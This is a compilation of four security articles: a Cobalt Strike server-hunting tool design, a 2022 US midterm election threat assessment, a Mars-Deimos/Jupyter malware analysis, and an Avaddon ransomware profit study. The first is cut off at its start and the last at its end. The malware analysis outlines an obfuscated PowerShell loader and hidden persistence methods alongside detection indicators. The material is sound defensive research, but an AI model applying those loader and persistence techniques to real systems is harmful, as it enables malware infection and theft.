beacon parsing (developed using Python), we integrated similar logic into our tool for beacon parsing (developed using Golang). The researcher who analyzed how the beacon is packed, how to parse the beacon, how to decrypt the beacon, and how to work with that in general did a great job; a big thank you! All identified web services that have been configured with the default malleable C2 profile are sent to the Beacon Workers. The Beacon Worker attempts to parse the beacon config. If the parsing succeeds, the Beacon Worker sends the CobaltStrikeBeaconStruct struct to the Beacon controller through the beaconStructChannel channel, and the beacon location URI to the output controller through the outputChannel channel. When all workers finish the scans, the Sort method maps all gathered scan results sent to the output controller into the array of CobaltStrikeStruct type. The Probability field is assigned when the Voter function calls the internal method Vote for each CobaltStrikeStruct object within the array. In case the certificate issuer matches the default Cobalt Strike self-signed certificate, the Vote method gives 100% probability that it is the Cobalt Strike server. The same applies if the Beacon Worker successfully parses the beacon config hosted on the web service. Default web service response and malicious JARM signature results cannot give us confidence in assigning the probability rate. Because other web services can respond with 0 content length and 404 status code, and servers can be configured with the same TLS options (if you don’t understand what JARM is). If the Vote method matches only those two indicators, it assigns a 70% probability to the object. If none of these meet our requirements, it is probably not a Cobalt Strike server. But, again, this tool targets only Cobalt Strike servers with default malleable C2 profile configurations. ## DynamoDB Component We chose DynamoDB service to store scan results. DynamoDB can handle more than 10 trillion requests per day and support peaks of more than 20 million requests per second. That is what we needed! We wanted to scan 20,000–25,000 targets per 60 seconds, which is about 40k-50k writing requests to the database. On the first implementation, the Output and Beacon workers exceeded DynamoDB rate limits because they performed a write request to the DynamoDB table for each target object separately, and, in addition, we used the default DynamoDB configuration. The default capacity configuration could not handle that many requests, but by increasing the capacity we would pay more money for autoscaling during constant scanning. Further examination of the AWS documentation revealed that AWS had implemented the batch write to DynamoDB. For each Lambda invocation, we have 10–20 targets (depending on the packet size) to scan, so this should reduce the number of requests to DynamoDB tables by a factor of 10–20. We found that DynamoDB’s BatchWriteItemInput function allows writing up to 25 items and up to 16 MB in one request. The batch write implementation significantly decreased the number of requests and removed the rate limiting issue at the default configuration level. We did not have to pay for unnecessary autoscaling. This method has the disadvantage that if one of the items in the batch fails to be written, the whole batch will not be saved. (The partition key must be unique and not exist in the table, but this is suitable in our case, as we filter our targets by unique values before launching the scans). Also, for unpredictable cases where the default capacity configuration cannot handle a large number of requests, we configure autoscaling: AWS Console → DynamoDB → choose the Table → Edit Capacity → Read/Write Capacity increase to 10–15. To enable autoscaling, we should give the required permissions for the DynamoDB service role. ## Lambda Component AWS Lambda is an interesting service. We wanted to try Lambda as a core service for our scans; however, we did not want to get a crazy paycheck at the end of the month, so we had several things to figure out: 1. How much memory to allocate for Lambda execution 2. What default timeout to set for Lambda execution 3. How to manage Lambda concurrency 4. What internal concurrency would be suited for our model 5. What request timeouts would be suited for our model 6. What packet size would be suited for our model And the most difficult question — how to set up everything the way it would be efficient, cheap, and with minimum loss rate? ### Lambda Memory Allocation It was interesting to research how AWS allocates memory and CPU for Lambda functions because it is physically impossible to divide 1/10 of the CPU. But it can allocate 1/10 of the time of the CPU to a single function, and you can have 10 of them working at the same time to share the same CPU core. The only controllable parameter in AWS for Lambda functions is memory usage. We designed our model with a multithreaded architecture — the more cores we have, the better performance we can potentially obtain. The price for using the AWS Lambda function is based on the function runtime (in milliseconds) multiplied by the allocated memory (fixed prices per MB). So, allocating 3008MB for the Lambda function, we get 2 vCPUs, and allocating 3009MB we get 3 vCPUs. By allocating 3009MB memory, we could gain more performance at almost the same price. According to the research, we get better performance gain for multithreading with each spike transition (jump in cores). But for our model, we do not need more than 3 cores; 3009MB is enough for our purposes. ### Internal Parameter Tuning As we got a solid understanding of how many resources to use, we started tuning and adjusting other parameters for our model. In my opinion, the lifetime of the Pointer Lambda function should not be more than 60 seconds because otherwise it will not be a true server-less tool with easy management, stable to errors, and autoscaled architecture. With a memory configuration of 3009 MB and a default timeout of 60 seconds for one Lambda execution, we could scan from 10–20 targets in a single packet. In case the Lambda execution fails, we do not want to rescan all the targets inside the packet again. By having fewer targets in the packet, we minimize the probability that the packet will crash. Therefore, the optimal size, in my opinion, is 10–20 targets. When we defined Lambda configuration parameters, the rest of the parameters were tuned with a large number of tests: - Targets/per packet: 20 (Items) - Concurrency: 140 (Items) - Lambda Memory: 3009 (MB) - Lambda Timeout: 60 (sec) - HTTP timeout: 4 (sec) - Port timeout: 2 (sec) - Beacon timeout: 10 (sec) ### Lambda Concurrency AWS Lambda provides autoscaling for function instances. But we simply cannot deploy as many instances as we want. We are limited by the AWS region quota (All the Lambda functions of an account can use the pool of 1000 unreserved concurrent executions). Thus, having only one deployed function, we could get 1000 concurrent executions at the same time. Dorking potential Cobalt Strike servers through Shodan, we could retrieve around 200–300k potential targets. However, we are designing the tool to scan 2M-10M targets. For example, 2M targets is about 100k packets (20 targets per packet), which means 100k Lambda function invocations. If the Lambda function is invoked 100k times, the Lambda puller would process only 1k requests at a time, and the rest would be just throttled. So even if we increase the AWS region quota, it will not be enough. ## SQS Component ### Configuration Amazon Simple Queue Service (SQS) is a fully managed message queuing service that enables you to decouple and scale microservices, distributed systems, and serverless applications. This means we can send all our packets to the queue, and SQS will manage the process of Lambda invocation. The SQS management can be configured according to our needs: 1. We can control the number of retries. We can configure the maximum number of retries that SQS would perform if the batch of messages (packets) fails. 2. Visibility timeout. The visibility timeout sets the length of time that a message received from the queue (by one Lambda function) will not be visible to the Lambda function again. If the Lambda function fails to process and delete the message before the visibility timeout expires, the message becomes visible to the Lambda function again. 3. SQS batch size. We configured SQS batch size to a single message. ### SQS & Lambda Autoscaling For standard queues, Lambda uses long polling to poll the queue until it becomes active. When messages are available, Lambda reads up to 5 batches and sends them to our Lambda function. If messages are still available, Lambda increases the number of processes that read batches up to 60 more instances per minute. The maximum number of batches that can be processed simultaneously by event source mapping is 1000. This means that the full power we can get after 16 minutes of continuous scanning. ## Results At the first launch, when we ran a scan for 160k targets, we were able to identify 1,700 Cobalt Strike servers and parse 1,400 of their beacon configurations within 40 minutes. The Pointer tool can produce the best performance results if the target size exceeds 500k. Scanning 160k targets took a little longer because 1000 concurrent Lambda executions were achieved only after 30 minutes when the tool was launched. For the current implementation, the cost of scanning 250k targets is about $20; however, we are looking for a solution that will make it cheaper. ### Targets Table [Sample] We have developed two tables, the first one for identified Cobalt Strike servers and the second for parsed beacon configurations. Identified Cobalt Strike servers can be described by seven features: - IP address is a unique sorting key - Probability that it’s the actual Cobalt Strike server (easier filtering) - JARM signature - Certificate Issuer - Opened Ports - Response behavior - Links to the beacon configurations that we parsed and saved to another table ### Beacons Table [Sample] The Beacon configuration table has the URI feature as a unique sorting key, while the rest of the features are the actual parsed beacon configurations. ## Data Analysis We are using collected data to map attackers' infrastructure and understand how the attackers operate Cobalt Strike. We know that threat intelligence groups are tracking specific ransomware groups with the help of Watermarks, for example: - Sodinokibi (Watermark 452436291) - APT 27 (Watermark 305419896). Based on the beacon’s spawnto locations, the blue teams can develop detection controls. ## Summary & Future Work For the first Pointer version, we have developed a system with a complete hunting methodology that could be easily scalable up to 2–3 million targets. The first tests showed that the tool can scan 200k targets in 45–50 minutes with 10% packet loss. We strongly believe that we have taken a big step in hunting and detection systems. But, of course, we have not achieved the results we wanted; this is just the first demo version of the Pointer. Any feedback is more than welcome, and if you have any ideas, suggestions, and recommendations, or if you want to help us improve the Cobalt Strike Hunting tool, just contact Pavel Shabarkin and Michael Koczwara.
# What to Expect When You’re Electing: Preparing for Cyber Threats to the 2022 U.S. Midterm Elections Securing the individuals, organizations, and infrastructure involved in elections from malicious cyber activity continues to be a challenge in an ever-evolving threat landscape as the number of threat actors targeting this important democratic process has grown over the years. Elections face a range of adversary motivations and operations that Mandiant tracks across the globe—espionage threats, destructive and disruptive attacks, information operations, and criminal extortion. The particulars of why an actor might target a specific election vary, and the lack of frequency of elections that an actor might decide to target can make it challenging to anticipate who, what, and how. As we observed in 2020, when Iranian actors impersonated the ‘Proud Boys’ organization to send threatening emails to voters in Florida, new election cycles can bring new threat activity, even if low effort. With an eye toward historic threat activity here and abroad, we can leverage past observations to prepare for and respond to a range of threats to the November 2022 U.S. midterm elections should they materialize. Mandiant assesses with moderate confidence that cyber threat activity surrounding the midterm elections will cause disruptions and divisiveness, but we believe notable compromises of actual voting devices or other activity impacting the integrity of votes is unlikely. In particular, we will likely see information operations (IO) that target U.S. populations around the election. We believe that Russia, Iran, and China remain the most significant foreign IO threats, having observed numerous examples of information operations that we suspected to support Russian, Iranian, and Chinese interests commenting on U.S. politics and 2020 candidates and issues, including activity intended to intimidate or influence voters. During the lead-up to elections—as recent activity demonstrates—ongoing IO campaigns may pivot their messaging to focus on relevant political issues as part of their broader aims of sowing divisions within the U.S. populace, undermining democratic institutions, and promoting narratives aligned with each respective campaign’s interests. We are also highly confident that espionage campaigns will target U.S. election organizations, infrastructure, political parties, government, and other related groups and individuals. We have tracked activity from groups associated with Russia, China, Iran, North Korea, and other nations targeting organizations and individuals related to elections in the U.S. and/or other nations with apparent goals ranging from information collection and establishing footholds or stealing data for later activity to one known case of a destructive attack against critical election infrastructure. During the 2016 and 2020 U.S. presidential election cycles, we observed significant, multi-pronged campaigns involving information operations, including those supported by cyber intrusion activity. We assess with moderate confidence that disruptive and/or destructive activity, such as distributed denial-of-service (DDoS) attacks or ransomware, will impact government and election-related organizations and infrastructure. ## Recently Observed IO Activity Highlights Campaigns’ Pivot to Promotion of Narratives Around the 2022 Midterm Elections Mandiant recently observed activity by three separate IO campaigns promoting narratives pertaining to U.S. political issues, including those surrounding the 2022 U.S. midterm elections. IO campaigns often involve the ongoing promotion of content targeting political discourse, including that supporting specific stances or politicians outside election cycles. Previously identified IO activity targeting the U.S. and attributed to foreign actors has shown attempts to influence local or regional politics. While this may not directly correlate with a given actor’s interest in influencing a midterm election, such demonstrations at least signal their interest in influencing U.S. politics at the sub-national level. For example, various Russia-linked online and real-life influence activity has had local and regional U.S. targeting, including support for successionist movements in states like California and Texas. ### “Newsroom for American and European Based Citizens” (NAEBC) Mandiant has observed continued activity by two inauthentic personas, “Niels Holst” and “Alan Krupka,” that previously claimed to be editors at the inauthentic news website NAEBC. According to a Reuters article citing a Federal Bureau of Investigation (FBI) investigation, NAEBC was run by individuals associated with the Russian Internet Research Agency (IRA). While the news site itself is no longer accessible, a limited subset of the personas that we linked to the site remain active and promote content targeting U.S. right-leaning audiences on the Gab social media platform. Recently, these personas have promoted narratives related to current U.S. political topics, including the midterm elections, the economy, energy prices, and Russia's invasion of Ukraine. Both persona accounts post semi-regularly, often reposting content from other seemingly unaffiliated users interspersed with seemingly original posts created by the accounts' operators. ### DRAGONBRIDGE Mandiant assesses with high confidence that social media accounts associated with DRAGONBRIDGE, an information operations campaign we judged to be operating in support of the political interests of the People’s Republic of China (PRC), are promoting content negatively portraying the U.S. political system and commenting on a range of domestic political, social, and economic issues, including on topics related to the 2022 U.S. midterm elections. Accounts highlighted economic and social issues facing the U.S. and portrayed the country as riven by political infighting and polarization. Utilizing a tactic first observed during DRAGONBRIDGE messaging targeting Western rare earths mining companies, some accounts posted comments using first-person pronouns to feign concern, implying that they were American. ### EvenPolitics Mandiant identified and reported to our customers on what we assessed with high confidence to be an inauthentic news site, EvenPolitics, promoted by a network of coordinated and inauthentic social media accounts, including those posing as U.S. individuals. We further assessed with low confidence that EvenPolitics and social media accounts promoting the site are operated in support of Iranian political interests. While the social media accounts have since been suspended, EvenPolitics has continued to publish articles including those on election-related topics, such as polling models forecasting potential election results, the Georgia Senate race, the Republican primary race for U.S. Representative Liz Cheney’s seat, the Arizona Republican gubernatorial primary race, and the Forward political party. As with other EvenPolitics articles, content appears to have been plagiarized and altered from original news articles published by mainstream media outlets such as The Week and The Guardian. ### Activity Around Previous U.S. Midterm Elections Mandiant has identified and reported on information operations serving foreign interests during the last three U.S. election cycles. For example, the pro-Iran "Distinguished Impersonator" influence campaign leveraged inauthentic personas impersonating U.S. political candidates running for office during the 2018 U.S. midterm elections to promote desired narratives. The campaign also successfully published letters, blog posts, and guest columns in local U.S. news outlets and leveraged inauthentic journalist personas to conduct interviews with real individuals which the interviewees expressed views in line with Iranian interests. ## Cyber Espionage Based on recently observed activity patterns and/or past election targeting, including U.S. races, we anticipate that APT41, APT31, APT29, and APT42 are likely to target U.S. government and other election-related organizations. We suggest that this list could represent a useful guide for prioritizing defensive strategies and hunt missions for relevant government, civil society, media, and technology organizations ahead of the 2022 U.S. midterm election. However, this list should not be viewed as comprehensive; it is possible that additional known actors or previously unobserved groups will also engage in relevant cyber threat activity. ### Cybercrime Many election-related organizations are also at risk of being targeted or impacted by ransomware and other types of cybercrime. Though this activity may not be driven by threat actors seeking to disrupt the electoral process due to political motivations, nonetheless it could impact business processes that may have cascading impacts to execution of the election. However, state-sponsored or affiliated threat actors such as UNC2448 may also leverage ransomware under the guise of financially motivated activity to disrupt the electoral process. ### Hacktivism Hacktivists may be motivated by election-related issues to conduct activities such as data leaks or website defacements with the intent of expressing a viewpoint or causing disruptions. Examples include a November 2020 data leak by a Portuguese hacktivist group that leaked what appeared to be old and possibly fabricated data regarding a Brazilian election and an Iranian hacktivist defacing a U.S. commercial website to display messages critical of the U.S. in advance of the 2020 U.S. presidential election. We also note that nation-state-sponsored actors have a history of leveraging false hacktivist fronts as a tactic to support their operations, including those targeting elections. For example, the false hacktivist persona Guccifer 2.0 was leveraged by Russia’s Main Intelligence Directorate of the General Staff (GRU) as part of its targeting of the 2016 U.S. presidential election. ### Insider Threats Insider threats have become a concern for election officials. In 2021, a judge barred an elected county official from supervising any future elections after it came to light that the official had allowed an individual not affiliated with the election commission to photograph and publish confidential voting-machine passwords, as well as making copies of the hard drives and changing settings on the machine that introduced security vulnerabilities into the process. Similar incidents have occurred in other states, speaking to a concerning rise in security breaches by insiders. ## The Targets—The Election Ecosystem Just as there are a broad array of threat actors, there is a diversity to where (and how) cyber threats to elections might play out. Cyber espionage and cyber attacks from state-sponsored actors, information operations, hacktivism, and even cybercrime can all pose a threat to entities involved in elections in different ways. At a high level, the attack surface of an election involves election systems and infrastructure, election administrators and entities involved in running the election, and organizations involved in the political campaigning process—to include news and media organizations that might be exploited or leveraged by threat actors. The ease of targeting and nature of threat activity (cyber espionage, information operations, extortion, etc.) can vary across entities within these categories. ## Challenges and Considerations In comparison with safeguarding other types of infrastructure or potential targets, election administrators and security practitioners face some unique challenges. It is important to emphasize that not all these threats represent an equal risk in impact to the electoral process. - **Event-specific activity:** The reasons why a certain actor might target an election might vary from one event to another. In observance of election-related IO activity, presidential and general elections seem to be targeted at higher volume than midterms, based on the limited sample size of Mandiant and public third-party reporting. However, this assessment may be influenced by attention bias; it is likely that more defenders spend more time hunting for activity surrounding presidential and general elections than regional, local, or midterm elections. - **Assessing intent:** One challenge in assessing risk from threat actors targeting elections is that the targeting of certain entities (such as state infrastructure) could be for purposes other than election-related threat activity; simultaneously though, a foothold in such infrastructure could also be leveraged in the future for election-centric activity. Visibility into specific data or victims targeted, as well as historical missions’ taskings attributed to a specific group may provide additional insight into adversary motivations. - **Communication of threats:** As trust in the electoral process is essential, communication of the details of an ongoing incident that may occur during an election—with stakeholders being the broader public—increases the complexity of response. Timely communication of what targets were impacted and in what manner becomes an important component in ensuring trust in the process that election administrators must navigate. A historical understanding of threats to election participants and infrastructure—and global visibility into current operations by threat actors that have demonstrated an interest in targeting elections—can prove valuable for security teams to scope, prioritize, and anticipate future threat emergence. Threat intelligence that informs and provides visibility into the recent tools, tactics, and procedures of such threat actors in other operations can better arm election defenders. Organizations can operationalize such insights to proactively harden networks and potential targets to better prepare for threats to this critical democratic process.
# Mars-Deimos: From Jupiter to Mars and Back Again (Part Two) **Dropper** SHA256: a871b7708b7dc1eb6fd959946a882a5af7dafc5ac135ac840cfbb60816024933 **Backdoor** SHA256: cc17391dde8a9f3631705c01a64da0989b328760e583009e869a7fff315963d7 In May, I published an analysis of the persistence mechanism for Mars-Deimos and had intended to publish further analysis regarding that individual sample; however, there have been many changes to the distributed malware since that time. As a reminder and abbreviated summary, a particular malware author or group of authors had started using a malware which appeared to be tracked internally by the authors as Mars-Deimos, and I documented the persistence mechanism of that malware. The malware family is also tracked by researchers under other names as well: Jupyter, Solarmarker, Yellow Cockatoo, and Polazert. Jupyter had been documented by a few organizations as being able to steal browser cookies and passwords from browsers. However, the authors also distributed a malware named Mars-Deimos, which differed substantially from Jupyter. Mars-Deimos has functionality for collecting information about the victim computer, encrypting the information, and submitting it back to the Command and Control server (C2). It also has functionality to download and execute code. ## Distribution System for Mars-Deimos The malware is downloaded the following way: A victim does a Google search for a template of a document, a search result is a Google Site (sites.google.com), and the Google Site offers them a PDF or DOC version of the template. **NOTE:** You’ll see randomly named documents like “Invoice PDF to Excel” or “Indeed Resume File Format.” All of these are completely randomized and the names don’t matter for the sake of the malware. In fact, you can change the URL and give it a custom name if you want—again it doesn’t matter—the same malware gets dropped. The user will select to download a PDF or DOC. By clicking one of the links, the victim will be sent off of the Google Site in order to download the malware. The distribution system also has features in place to prevent users from making too many downloads. For several months, the download page was a spoofed Microsoft website. **NOTE:** For security training, users should at least be aware of the idea of “Red Flags.” I believe this is a common idea in our world and it is important to apply it to cybersecurity as well in our training sessions. If they find something that seems off—like a Google Site leading to a Microsoft website—they should be encouraged to be skeptical. The current download site is a spoofed Google Drive. Between the download button and the Google Drive site, the user is passed through some oddly named sites. In this instance, those sites should be red-flags for the user as they are unusual for Google sites and Google Drive. The user is then presented with a download button to download the “template” or “document” they are requesting. Many modern browsers will give a warning about the download as the browser recognizes it as an executable. Their distribution system is very dynamic and very extensive. There are at least 60,000 Google Sites that lead to the malware, and I have documented ~1,000 unique domains controlled by the authors. The URLs on the Google Site are updated through JavaScript to assign the appropriate URL to the buttons on the page. ## The Malware Binary When the malware is downloaded, its icon is set to be that of a PDF file. The file is ~107 MB in size in order to prevent being uploaded to most automated malware analysis sites. (Most malware analysis sites which are free or paid have a size restriction of 100MB.) The malware is often created and formed using the program InnoSetup. Unpacking the InnoSetup installer reveals junk data files which the authors themselves had named “waste.” These “waste” files are simply to make the executable a large size. In addition to the waste is a decoy PDF program. The malware authors have recently been seen deviating from InnoSetup. One recent binary was built with Delphi 7 and includes PowerShell executed from the compiled binary. The PowerShell reads and executes a temporary file. It is consistent with the scripts they use in other parts of their malware deployment: 1. Set `$xp` to a file dropped into `AppData\Local\Temp\` 2. Set `$xk` to a key 3. Read the file `$xp` into the variable `$xb`, converting it from Base64 4. Delete temporary file 5. Decode the file `$xb` using the key and using `-bxor` through a set of two for-loops 6. Set the encoding to UTF8 for the variable `$xb` 7. Execute the code from the decoded variable in memory. At this point in time, it appears very few virus detection systems detect this behavior from the executable. However, this type of behavior should be caught by an Endpoint Detection and Response (EDR) system that is being monitored by SOC analysts or System Administrators. Organizations should be using PowerShell script logging for catching PowerShell execution: PowerShell script logging can be made to save information regarding what PowerShell is executed on a system allowing for an analysis of what had been executed. The executed code from this malware sets in motion the loading of an info-stealing malware and sets a persistence mechanism. The most recent executables sleep for 30 minutes prior to starting the info-stealing malware. ## Mars-Deimos Malware Persistence Previously, the malware’s persistence was managed by changing shortcuts to call the malware when the shortcuts were executed. That is, the shortcut would perform its original function and execute a malicious .bat/.cmd script to load the malware into memory. In lieu of changing shortcuts, recent revisions have dropped a .lnk file in the user’s `Start Menu\Programs\Startup` directory. With the .lnk file being placed in this directory, it will be executed on startup and start the backdoor. EDR systems and System Administrators should monitor this directory as it is frequently used by malware. The file path used by the malware will use toggle case (capitalization of letters in the middle of a word) for words like “Windows” in order to avoid some detection techniques and will look something like this: `"C:\Users\*****\AppData\Roaming\miCrOsofT\wINDoWS\stARt meNU\PRogrAMS\startUp\a19392f921e4f9a03b0a25110d2ab.LnK"` Newer revisions have stopped using a .bat/.cmd file and have used a random extension name. The file the .lnk points to is normally in a user’s `AppData\Roaming` or `AppData\Roaming\Microsoft` directory. The folder will be a randomly named directory: older versions use 4 characters, newer versions use around 14 characters. The .lnk file in this instance points to a highlighted file in the image above. It uses a name starting with “AJftzy.” When the .bat/.cmd script was used, it had been saved in this directory; however, the files that are now created appear to be decoy files and the real persistence is used by the file extension. PowerShell is used by the malware to register the randomized file extension, in this case it is `.xmJqGtrIkQlFig`, and in turn the file extension points to another class in the registry (`xmJqGtrlkQlFig_auto_file`). This registry class is set to execute PowerShell when the file extension is used. The PowerShell decodes and loads the Mars.Deimos malware into memory and launches it. ## Mars-Deimos Functionality In a previous version of this post, I hadn’t seen the binary loaded through the registry key. Instead, I had only seen the binary loaded by the executable after the 30-minute sleep. In contrast to my previous understanding, the malware actually loads an info-stealing malware and then uses Mars-Deimos for a persistent backdoor. In recent versions, the malware has used two different binaries: “F.G.” or Jupyter for the info-stealer. The process for starting the binary is nearly identical to starting Mars-Deimos: the binary is read from an obfuscated file in a temporary directory, `System.Reflection.Assembly` is used to load the binary into memory, and a function native to the binary (like “Run” or “Interact”) is used to execute it. In contrast to Mars-Deimos and Jupyter, the F.G. malware appears to check to see what browsers are installed based on their default directories. If they exist, it will use `System.Threading` to start new threads. Based on my beginning analysis, it also appears to copy the content of forms in order to pass those back to the C2. The authors appear to be maintaining Jupyter, Mars.Deimos, and F.G., and using them tactically in different distributions of the malware. They each have their own purpose and it appears that each are being updated and used as deemed appropriate. ## Detection of Mars-Deimos Malware The malware is most reliably caught by EDR systems. During my research for the last few months, many antivirus systems have failed to recognize and adapt to detecting new versions of the malware; however, other researchers have quickly identified infected systems through their monitoring systems. The main attributes seen quickly by EDR systems come from the PowerShell executed by the malware. The current versions of the malware use specific high-fidelity indicators of malicious activity. First, the PowerShell execution uses obfuscated variable names. These obfuscated variable names are a red-flag of malicious activity. If you are unfamiliar with the obfuscation of variables, please review my previous blog post regarding this malware. Second, the malware consistently uses `IEX` and `System.Reflection.Assembly` for executing the malware. These are both means of executing and loading code on a system and are rare for legitimate processes to use. Watching for the use of these two functions has been a high-quality means for detecting the malware. The PowerShell execution is called both in the initial infection and through the persistence mechanism, so if an organization begins to monitor for the use of the PowerShell, they should detect both new and past infections. The malware can also be detected using YARA rules. The most consistent YARA rule for detecting this malware has been based on the DLL backdoor as it appears the name of the DLL follows a consistent pattern across versions of the malware. The YARA Rule created by Luke Acha is able to identify the processes which have loaded the DLL. For those unfamiliar with using YARA Rules, consider using the YARA Memory Scanner from Binary Defense’s GitHub repository. This scanner can be given a YARA rule or the URL to a YARA rule and it can scan a system to detect if the malware is present in memory. For example, the following PowerShell will run the YaraMemoryScanner script, download the YARA rule to check for this malware family, and scan the current running processes: ```powershell .\YaraMemoryScanner.ps1 https://raw.githubusercontent.com/securitymagic/yara/main/Jupyter%20Malware/JupyterDll ``` The output of the YaraMemoryScanner will display the Process ID, Process Name, and execution path of the processes and save the information in a text file. If any results are returned, the user should review the processes in order to confirm the malware infection. Infected hosts should have a file named “solarmarker.dat” in the user’s `AppData\Roaming` directory: this file is used as a host identifier by the malware. ## Summary The malware dropped by this distribution system appears to use a few different varieties: Jupyter, Mars-Deimos, and F.G. Each of these appear to have very different functionality and appear to be used tactically by the author to achieve different goals. The author changes their tactics regularly to avoid detection. Due to the frequent changes, antivirus often fails to detect the malware, but the malware can be detected through means of monitoring PowerShell execution on a host.
# The Rise & Demise of Multi-Million Ransomware Business Empire **Executive Summary:** On June 11, 2021, Avaddon ransomware, responsible for numerous cyber incidents since 2020, decided to not only suspend their operations but also provide decryption keys for all the victims they targeted. AdvIntel achieved unmatched visibility into the Avaddon victimology by obtaining their Master Key information. This visibility into all victims of the group enabled unique insights into Avaddon’s patterns, strategies, and methods. Through investigating victimology, AdvIntel assessed that the total income made by one operator through the year of Avaddon activities could potentially equal 1,000 Russian median salaries, explaining the foundation of ransonomics and why it attracts more talented individuals in Russia and other states. According to unique AdvIntel findings obtained through exhaustive investigations of the Russian-speaking underground cybercrime community, Avaddon’s demise was likely caused by political reasons—a sharp reaction from the US presidential administration to recent ransomware attacks and subsequent pressure applied by Russian law enforcement against local cybercrime groups prior to the upcoming Biden-Putin summit. ## Introduction - The Lost Empire The three-letter Hebrew root “avad” (דבא), from which the name Avaddon is derived, has two main semantic interpretations: “to destroy” and “to lose/get lost.” These meanings perfectly define the Avaddon ransomware—a destructive and malicious force that always managed to conceal itself and disappear. Today, we shed light on this lost and hidden criminal empire using unique datasets—the full list of Avaddon victims ever targeted by the group over the year of its existence—discovered by AdvIntel. This unique SIGINT data is supported by exclusive HUMINT findings—statements made by Eastern-European underground cybercommunity leaders who worked with Avaddon—explaining and interpreting the group’s rapid rise and even more rapid downfall. ## Avaddon & The Birth of “Ransonomics” On June 11, 2021, Avaddon released keys for over 2,000 victims containing the exact company breach names. Our analysis of the confirmed victimology shows that some of them were the world’s leading companies. Avaddon created an entire ecosystem around themselves—a web of supply chains, international affiliates, sellers, underground auction managers, and negotiators. They established an organic ecosystem of criminal extortion economy—a form of “ransonomics.” Avaddon was not the only group pursuing a diversified approach to building a larger business system, but they were likely the most creative. They were the only Russian-speaking group that enabled and promoted international partners joining the team as affiliates, directly representing the coverage of Avaddon’s attacks, reaching five continents. Avaddon operations targeted companies and governments all across the globe, with the exception of Russia. One of Avaddon’s largest attacks—a major financial institution occurring in May 2021—illustrates this integrated approach of building the ransomware-attacks economy. While investigating the attack, we discovered 141 unique indicators for RDP compromises for the victim's domain, indicating that Avaddon was using the services of an RDP brute-forcing group. Moreover, two weeks before the attack, a threat actor published a post on a major underground forum where Avaddon was based, auctioning classified information on the future victim. This access seller was connected to a malware developer specializing in data exfiltration tools. In other words, before Avaddon performed their data-stealing operation, they utilized the entirety of underground services and purchased the full set—RDP access, direct network access, and malware for data exfiltration. ## Victimology - Key to Understanding the Adversary This innovative approach enabled Avaddon to perform several thousand attacks. AdvIntel analyzed Avaddon’s unique datasets to build the most definitive adversarial profile. Traditionally, while profiling the group’s victimology, companies rely on publicly available data, i.e., ransomware websites. Even looking at this partial data, which only includes companies whose information was dumped on the shame blogs, we can see that Avaddon played a major role in the threat landscape. However, the victims whose names were published on the shame blog are only the tip of the iceberg. AdvIntel’s advanced dataset, covering all Avaddon victims, provides further visibility into the gang’s operations. For this statistical research, AdvIntel selected a special high-value-target dataset. First, we identified the industries that were the primary targets of the group—manufacturing, retail, technology, and engineering—most likely because, for companies in these sectors, even a brief interruption of business can imply fatal consequences. The total revenue of all victims was around $35 billion USD, essentially the segment of the market threatened by Avaddon’s malicious operations. Avaddon’s victims can be divided into three categories: small, medium, and large. The average victim revenue was: - $13 million USD for small businesses - $287 million USD for medium-sized victims - $3.7 billion USD for larger businesses ## Ransonomics: Avaddon Ransomware Profits Our next research goal was to calculate how much money the Avaddon group could make before their rapid retirement. We utilized our previous knowledge from threat actor engagements to develop realistic formulas of ransom demand calculations supported by actual Avaddon cases. Traditionally, all Russian-speaking actors use the victims’ annual revenue to calculate the ransom. After identifying the revenue, they investigate the sector within which the victim operates. The most common calculation used by Avaddon was the so-called “5x5” rule, where 5% of the annual revenue is used to start negotiations, with annual revenue estimated as one-fifth of the total revenue. For a victim with a total revenue of $7 million USD, the starting ransom price would be $70,000 USD. Typically, Avaddon dropped the price during bargaining, and the end ransom was around $50,000 USD for a successful operation. However, not all companies on the two thousand victim list were forced to pay such ransom. In many cases, negotiations failed or the ransom was minimal—several thousand USD (especially in the very beginning). At the same time, bigger payments were demanded from larger entities. Here, the “5x5” formula was replaced by a more adequate scale for larger ransom involving 0.01% margins for annual revenue instead of 5%. For a multi-billion dollar company, the demand was constrained by a few million dollars. In one year of ransomware development, an Avaddon member made the same amount of money as an average Russian would make in a millennium—illustrating how lucrative ransomware could be for the region. After finalizing all calculations with a case-by-case study of each victim from the high-value dataset, AdvIntel assessed that the bulk of ransom payments came from over a thousand smaller-sized companies, which were demanded between $30,000 to $70,000 USD, constituting an overall payment of $55 million to Avaddon. Over 500 larger businesses in the victim list constituted another $30 million, and the rest was divided between smaller payments. Our total assessment of Avaddon income is approximately $87 million USD. Our team also attempted to calculate the revenue of a core Avaddon team member based on these numbers. Within Avaddon RaaS, over 70% of income went to affiliates; therefore, the core team, especially the leader of Avaddon, received around $26 million USD. This number was likely divided between at least four individuals, making the approximate annual income (Avaddon existed for a year) $7,000,000 USD. To compare, the median annual income in Russia is estimated at $7,000 USD. ## Avaddon Downfall - Black Mark of Cyber Pirates If Avaddon was so successful, what could have motivated them to quit? The likely answer is fear. The US law enforcement and the Biden administration became very upfront regarding future retaliatory measures against ransomware, viewing it as essentially an act of terrorism. This new perspective on digital extortion from the world’s leading superpower had a direct response within the underground community. The previously mentioned ransonomics—a carefully and meticulously built web of alliances and supply chains—started to rapidly fail. Software brokers refused to sell malware to ransomware groups, forums banned RaaS partnerships, and affiliates were left without means and services to disseminate the payload. The cybercrime world has always been similar to piracy and has its own “black mark”—a deadly stigma sign. After the Colonial Pipeline incident, ransomware acquired this sign. Avaddon, at the center of the dynamic and turbulent ransomware ecosystem, quickly realized the risks they faced. ## When Politics Meets Cybercrime This realization was likely caused by the recent intervention of politics into the cybercrime domain. The inner logic of the Russian security landscape presumes that a successful cyber group will eventually attract the state’s attention. Law enforcement usually turns a blind eye to cyber operations unless they target Russian citizens or businesses. However, this status quo changed in May 2021. After the admin of the largest XSS forum called for a ransomware ban for political reasons, the community of digital extortionists in Russia was observed to go through stages of paranoia. This was supported by multiple statements made in the last three months by the Russian government, the Russian Ministry of Foreign Affairs, and President Putin about establishing an international Russian-American initiative for joint cybersecurity. The Russian officials likely see this as a tool to de-escalate US-Russian relationships, especially in light of the upcoming Biden-Putin summit scheduled for June 16, 2021. The Russian government traditionally goes through rounds of escalation and de-escalation with the West. The escalation phase involving military maneuvers near the Russia-Ukraine border and in Northern Syria ended in April 2021. Now, the Kremlin, aiming to address severe challenges of the post-COVID economic recession and the turbulent domestic situation, is interested in creating a framework of stability in the international arena and ensuring stabilized relationships with the US to avoid unnecessary pressure. Cybersecurity—a controversial space in the Russia-US relationship—is on the 